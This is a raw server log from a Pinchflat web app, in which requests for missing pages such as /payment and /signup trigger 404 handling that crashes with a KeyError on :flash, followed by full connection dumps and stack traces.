req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, (truncated) 06:39:43.196 [info] GET /payment 06:39:43.197 [debug] QUERY OK source="settings" db=0.1ms idle=220.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.197 [debug] QUERY OK source="settings" db=0.0ms idle=220.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.197 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:43.197 [error] #PID<0.16395.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /payment ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16395.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/payment", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTKnwhxpDFK8AA_iC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16395.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat. (truncated) 06:39:43.236 [info] GET /signup 06:39:43.236 [debug] QUERY OK source="settings" db=0.1ms idle=172.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.236 [debug] QUERY OK source="settings" db=0.0ms idle=91.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.236 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:43.237 [error] #PID<0.16396.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /signup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16396.0>, params: %{}, path_info: ["signup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/signup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTKxMfldQm9oAA_kC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16396.0>, params: %{}, path_info: ["signup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.c (truncated) 06:39:43.837 [info] GET /index.html 06:39:43.838 [debug] QUERY OK source="settings" db=0.1ms idle=692.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.838 [debug] QUERY OK source="settings" db=0.0ms idle=640.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.838 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:43.838 [error] #PID<0.16397.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /index.html ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16397.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/index.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTNAiolnrvSAAA_mC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16397.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pin (truncated) 06:39:43.958 [info] GET /pricing 06:39:43.958 [debug] QUERY OK source="settings" db=0.1ms idle=760.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.958 [debug] QUERY OK source="settings" db=0.1ms idle=721.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.958 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:43.959 [error] #PID<0.16398.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /pricing ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16398.0>, params: %{}, path_info: ["pricing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/pricing", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTNdQJLWdbIEAA_oC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", 